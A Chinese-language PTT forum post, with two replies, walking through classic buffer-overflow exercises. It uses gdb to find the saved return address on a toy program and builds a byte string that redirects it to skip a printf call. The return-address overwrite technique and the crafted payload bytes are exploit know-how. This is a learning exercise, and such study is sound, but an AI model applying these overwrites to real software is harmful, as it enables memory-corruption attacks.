看板 C_and_CPP 關於我們 聯絡資訊
前幾天比較忙 沒有時間回信 說一下我玩這題的心得 希望對你有幫助 我相信應該有更好的工具 不過我用 gdb 來作這件事 第一題 4 void func(char *str) { 5 char buffer[24]; 6 int *ret; 7 strcpy(buffer,str); 8 9 ret = (int *)&buffer[40]; 10 (*ret) += 21; 11 } // 那個 buffer 裡要跳多少, ret 要加多少 // 第一次還不知道先亂填一個數字 > gcc -o vuln vuln.c -g > gdb ./vuln (gdb) set args ooo (gdb) break vuln.c:9 // 先在 ret 前面設好 break point // command line argument 就亂給一個就好 (gdb) run Starting program: /myhome/hack/vuln ooo Breakpoint 1, func (str=0x7fffffffe766 "ooo") at vuln.c:9 9 ret = (int *)&buffer[40]; // 然後我們要印出 buffer 之後的長相 // x/20ag buffer // 20 means 20 unit data, a is addrss, g means 8-bytes (gdb) x/20ag buffer 0x7fffffffe340: 0x0 0x2 0x7fffffffe350: 0x7fffffffe3c0 0x7fffffffe3f8 0x7fffffffe360: 0x7fffffffe390 0x400626 <main+38> 0x7fffffffe370: 0x7fffffffe3e0 0x200400678 0x7fffffffe380: 0x2 0x400446 <_init+14> 0x7fffffffe390: 0x7fffffffe3c0 0x40053e <_start+142> 0x7fffffffe3a0: 0x0 0x0 0x7fffffffe3b0: 0x7fffffffe3d8 0x0 0x7fffffffe3c0: 0x0 0x40532000 0x7fffffffe3d0: 0x0 0x2 // 請注意看第三行 // 0x400626 <main+38> 就是我們要的東西 // 因為是每 8 bytes 一個單位, 他是第 6 個 8-bytes 的 low word // 所以是 buffer 後幾格, 請自己計算 // 但是要把他改成多少呢? 回去看看 main 長什麼樣子 (gdb) up (gdb) disassemble // up 是用來回到前一個 frame, 也就是 main // disassemble 是用來看指令 Dump of assembler code for function main: 0x0000000000400600 <main+0>: push %rbp 0x0000000000400601 <main+1>: mov %rsp,%rbp 0x0000000000400604 <main+4>: sub $0x20,%rsp 0x0000000000400608 <main+8>: mov %edi,0xffffffffffffffec(%rbp) 0x000000000040060b <main+11>: mov %rsi,0xffffffffffffffe0(%rbp) 0x000000000040060f <main+15>: movl $0x0,0xfffffffffffffffc(%rbp) 0x0000000000400616 <main+22>: mov 0xffffffffffffffe0(%rbp),%rax 0x000000000040061a <main+26>: add $0x8,%rax 0x000000000040061e <main+30>: mov (%rax),%rdi 0x0000000000400621 <main+33>: callq 0x4005c0 <func> 0x0000000000400626 <main+38>: movl $0x1,0xfffffffffffffffc(%rbp) 0x000000000040062d <main+45>: mov $0x4006dc,%edi 0x0000000000400632 <main+50>: callq 0x40045c <puts> 0x0000000000400637 <main+55>: mov $0x4006e3,%edi 0x000000000040063c <main+60>: callq 0x40045c <puts> 0x0000000000400641 <main+65>: mov $0x0,%eax 0x0000000000400646 <main+70>: leaveq 0x0000000000400647 <main+71>: retq // 可以看到 // 0x0000000000400621 => call func // 0x0000000000400626 => x = 1 // 0x000000000040062d, 0x0000000000400632 => call printf // 0x0000000000400637, 0x000000000040063c => call printf // 所以新 return address 要是 <main+55>, instead of original <main+38> 第二題 // 也用到一樣的方式 // 承接 gdb 中的步驟 (gdb) x/6ag buffer 0x7fffffffe340: 0x0 0x2 0x7fffffffe350: 0x7fffffffe3c0 0x7fffffffe3f8 0x7fffffffe360: 0x7fffffffe390 0x400626 <main+38> 這些就是 roughly 你的 shellcode 像是: char shellcode[] = "\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0 "\x02\x00\x00\x00\x00\x00\x00\x00" // 0x2 "\xc0\xe3\xff\xff\xff\x7f\x00\x00" // 0x7fffffffe3c0 "\xf8\xe3\xff\xff\xff\x7f\x00\x00" // 0x7fffffffe3f8 "\x90\xe3\xff\xff\xff\x7f\x00\x00" // 0x7fffffffe390 "\x37\x06\x40"; // 0x400637 <main+55> 就這樣結束了嗎 ? 還沒~ 因為 argv (command line argument) 是 zero-end string 所以這個 shellcode 從 command line 是不可能傳進去的 有一個選擇: 把全部的 \x00 改成 \x01 (非零, 什麼都好) 但是因為這中間有一個好像是 base pointer 還是什麼鬼的 所以把 stack 填爛掉了可能可以達成題目需求 (skip one printf) 但是最後程式從 main return 還是會 crash 想要能夠讓程式安詳的離開 還有很多很多事情要做 需要再要多花點時間 study 了 ^^: -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 140.112.30.49
ledia:btw, 這還不算 shellcode, 直到真的要讓程式安詳的離開 12/17 15:38
※ 編輯: ledia 來自: 140.112.30.49 (12/17 15:48)
b98901056:感覺用c++會比較難寫耶XD asm injection如何?:P 12/18 19:23